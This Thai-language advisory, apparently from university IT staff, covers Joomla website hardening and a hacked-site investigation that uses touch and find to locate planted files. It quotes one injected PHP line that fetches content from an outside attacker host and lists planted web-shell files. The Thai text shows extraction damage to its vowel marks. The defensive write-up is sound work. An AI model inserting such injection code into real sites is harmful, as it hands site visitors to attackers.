
มีค ำแนะน ำส ำหรับกำรท ำ Website ให้ปลอดภัยไมโ่ดน Hack  

เมื่อไม่นำนมำนี้ได้รับแจ้งจำก User ว่ำ เว็บไซต์ถูก Hacker เจำะเข้ำมำเปลี่ยน หน้ำตำของเว็บ แต่
เป็นที่น่ำเสียดำย User ไม่ได้ท ำกำร copy หน้ำเว็บที่แจ้งมำนั้นไว้ให้ ท ำให้จ ำเป็นที่จะต้องกลับมำลองค้นหำ
วิธีกำร หรือรูปแบบที่ Hacker ใช้เพื่อกำรโจมตี จำกกำรที่เคยเข้ำแก้ไขเว็บไซต์ต่ำงๆ ที่โดน Hack ในช่วงเวลำ
ที่ผ่ำนนั้นก็จะพบว่ำมีรูปแบบเดิมๆ ในกำรท ำงำน เช่น 
  1. เนื่องจำก Web server นั้นมีกำรเปิด Permission ของ directory เป็นแบบ 777 หรือ world 
writable หรือแม้แต่เปิดสิทธิ์ให้ web user เช่น apache/httpd/www-data สำมำรถเขียนได้  
  2. Web server นั้นเมื่อมีพื้นที่ให้ web user เขียนได้ แล้ว Web Application ที่ User ใช้นั้น มีช่อง
โหว่ หรือไม่ก็มีกำรท ำงำนปรกติท่ีเปิดให้ Web User เขียนไฟล์ได้ตำมปรกติ ก็เป็นช่องให้เกิดกำร “วำงไฟล์” 
ซ่ึง Hacker จะเข้ำมำเรียกไฟล์ดังกล่ำว ซึ่งจะได้สิทธิเป็น Web User ท ำกำรแก้ไขไฟล์, น ำไฟล์ .c มำวำงแล้ว 
compile ต่อไป ซึ่งอำจจะท ำให้เกิด Buffer Overflow จนกระท่ังสำมำรถครอง Server ได้เลย 

วิธีกำรที่แนะน ำส ำหรับกำรท ำ Website ให้ปลอดภัย ก็คือ 
  1. ในเครื่องที่เป็น Production Server ต้องไม่มี Compiler, Development Tools เช่น gcc อยู่
เลย 
  2. หำกใช้ CMS ต่ำงๆ เช่น Joomla กำรปรับปรุงหลักๆ เช่นกำรเปลี่ยน Template, เพ่ิม 
Component หรือ อะไรที่มีกำรเปลี่ยนแปลงระดับไฟล์ (ไม่รวมกำรเขียนพวก Article หรือบทควำม เพรำะ
เป็นกำรเขียนไปยัง Database ไม่ใช่ระดับไฟล์) ก็ควร ยกเลิกกำรท ำงำนทำง Backend ผ่ำน Web แต่ให้ใช้วิธี 
สร้ำงหรือปรับเปลี่ยนจำกเครื่องทดสอบ แล้วใช้วิธี FTP ขึ้นไป บน Production Server แทน แล้วปรับให้ 
Owner เป็นอะไรที่ไม่ใช่ Web User หรือ ต้องไม่ให้ Web User เขียนได ้วิธีนี้ อำจจะไม่สะดวก แต่ แลกกับ
ควำมปลอดภัย เป็นวิธีที่จ ำเป็น ลองสังเกตว่ำ ท ำไม Joomla รุ่นใหม่ๆ จึงเปิดให้มีกำร Update ผ่ำนทำง FTP 
ด้วย 
  3. ถ้ำ Website มีควำมจ ำเป็นต้องให้ผู้ใช้ทั่วไปสำมำรถ Upload ไฟล์ได้ ต้องเปลี่ยนสิทธิ์ 
Permission ใน directory ที่เอำไฟล์ขึ้นไปวำงนั้น ต้องไม่สำมำรถ Execute ได้, ลองพิจำรณำกำรใช้ 
.htaccess ร่วมด้วย   
  4. ในกรณี CMS ถ้ำมีกำรใช้ Component หรือ Module อะไร ก็ต้องติดตำมดูเรื่อง ช่องโหว่ต่ำงๆ 
และท ำกำรปรับปรุงรุ่นสม่ ำเสมอ ล่ำสุด น่ำเป็นห่วงกลุ่มที่ใช้ JCE (รุ่นยังไม่แน่ชัด) กับ Phoca Gallery เพรำะ
มีควำมสำมำรถในกำร Upload ไฟล์และเป็นที่นิยม ทั้งของกลุ่มผู้ใช้และ Hacker อำจจะท ำให้ใช้งำนยำกข้ึน 
แต่ ถ้ำต้องกำรควำมปลอดภัย เรื่องเหล่ำนี้จ ำเป็นมำก ต่อไป เมื่อพบว่ำโดน Hacker เข้ำมำเยี่ยมแล้ว … จะมี
อำกำรอย่ำงไรบ้ำง ล่ำสุด พบ Website ที่ใช้ Joomla โดน Hack, โดยเมื่อเปิดไปยัง URL หลัก จะพบว่ำมีกำร 
Redirect ไปยัง Website อ่ืนๆ และเปลี่ยนไปเรื่อย เมื่อลองดู Source โดยกำร View Source พบว่ำมีกำร
แทรกบรรทัดสุดท้ำยไว้ว่ำ (ไฟล์ index.php อยู่ที่ Document Root ของ site นี้เลย) 
echo file_get_contents('http://www.sorgulatr.com/1.htm');  



 
ต่อไปนี้ เป็นขึ้นตอนกำรตรวจสอบว่ำ มีกำรวำงไฟล์ใดไว้บ้ำง กรณีเวบถูกแฮ็ค 
  1. เริ่มจำกดูว่ำ วันที่ ที่มีกำรเปลี่ยนแปลงไฟล์ index.php คือวันใด ด้วยค ำสั่ง ls -l index.php   
ก็จะพบว่ำ -rwxr--r--  1 apache  staff    2106 Mar 22 00:50 index.php 
  2. ก็คำดว่ำ มีกำร hack เข้ำมำเมื่อวันที่ 22 มีนำคม ก็น่ำจะมีกำรวำงไฟล์ในเวลำใกล้เคียงกัน จึงใช้
วิธีต่อไปนี้ในกำรหำว่ำ มีกำรวำงไฟล์อ่ืนๆไว้ที่ใดบ้ำงด้วยค ำสั่ง    
  touch --date "2013-03-22" /tmp/foo find ./ -newer /tmp/foo 
จึงไดรู้้ว่ำมีกำรเขียนไฟล์ไว้ที่  
  ./libraries/tcpdf/cache 
  ./administrator/cache/3c788c8140c244baa4de05cad390c937.spc  
  ./index.php 
  ./configuration.php 
  ./images/stories  
  ./media  
  ./media/bb.php 
  ./tmp   
  ./cache 
  ./cache/z.txt 
  ./cache/sok.php 
  ./cache/exploit.conf 
  ./cache/ubuntu.c 
คำดว่ำน่ำจะเจำะผ่ำน ./media กับ ./cache จำกนั้นลองเปิด http://xxxxx.psu.ac.th/media/bb.php 
ได้ web ที่สำมำรถเข้ำไป browse ไฟล์ทั้งเครื่องได้ 
  3. ยังไม่ไว้ใจ จึงดูว่ำ website นี้ ผู้ติดตั้งตัวจริง น่ำจะสิ้นสุดกำร update เมื่อใด จึงสันนิษฐำนว่ำ คง
เป็นวันเดียวกับท่ีเปลี่ยน directory ชื่อ installation เป็นชื่ออ่ืน นั่นคือ วันที่ Mar 2 2012 จึงใช้ค ำสั่ง 
   touch --date "2012-03-02" /tmp/foo  
  find ./ -newer /tmp/foo 
พบว่ำมีไฟล์ต่ำงๆเกิดขึ้น แต่เป็นไฟล์ภำพ และเอกสำรพวก .pdf, .doc ซึ่งน่ำจะเป็นกำรใช้งำนปรกติ แต่ก็มี
ไฟล์พวกนี้ด้วย 
  ./sejeal.jpg    ./media/mod.php    ./media/sok.php    ./cache/ab.txt 

พบว่ำ sejeal.jpg นั้นเป็นภำพแสดงตัวของ Hacker ว่ำ ฉันเป็นคน Hack ที่นี่ได้  ซ่ึงไฟล์เป็นของวันที่ Feb 3, 
2013 นอกจำกนั้นเป็นไฟล์ที่ใช้ในกำร Hack, แถมมีคู่มือในกำร Hack ซึ่งแสดงช่องโหว่ของ JCE ไว้ด้วยใน
ไฟล์ ab.txt 



บทสรุป:  
  1. เมื่อพบว่ำเว็บไซต์ โดน Hack ควรตรวจสอบว่ำ วันที่ของไฟล์ที่แสดงอำกำร คือวันใด แล้วใช้ค ำสั่ง     
   touch --date "2013-03-22" /tmp/foo  เพ่ือสร้ำงไฟล์ ซึ่งตั้งค่ำวันที่เปลี่ยนแปลงเป็น
วันนั้นๆ ไว้ที่ /tmp ตั้งชื่อว่ำ foo แล้วใช้ค ำสั่ง  find ./ -newer /tmp/foo  เพ่ือค้นหำว่ำ ที่ Document 
Root ของ website นั้น มีไฟล์ใดบ้ำงที่ถูกแก้ไขในวันเดียวกัน, จำกนั้น อำจจะลองดูรำยละเอียด ถ้ำเป็นไฟล์
ของระบบ ก็แก้ไขกลับเป็นเหมือนเดิม หรือไม่ก็ลองพิจำรณำ ติดตั้ง CMS ใหม่ (อำจจะสำยไปแล้ว) 
  2. ตรวจสอบด้วยวิธีกำรเดียวกัน แต่ให้เลือกวันที่ของ /tmp/foo เป็นวันที่สุดท้ำยที่ท ำกำร
เปลี่ยนแปลงไฟล์ของ CMS นี้ เพ่ือดูว่ำ ตลอดเวลำที่ผ่ำนมำ มีใครเอำไฟล์มำวำงแปลกๆ ไว้บ้ำง 

 


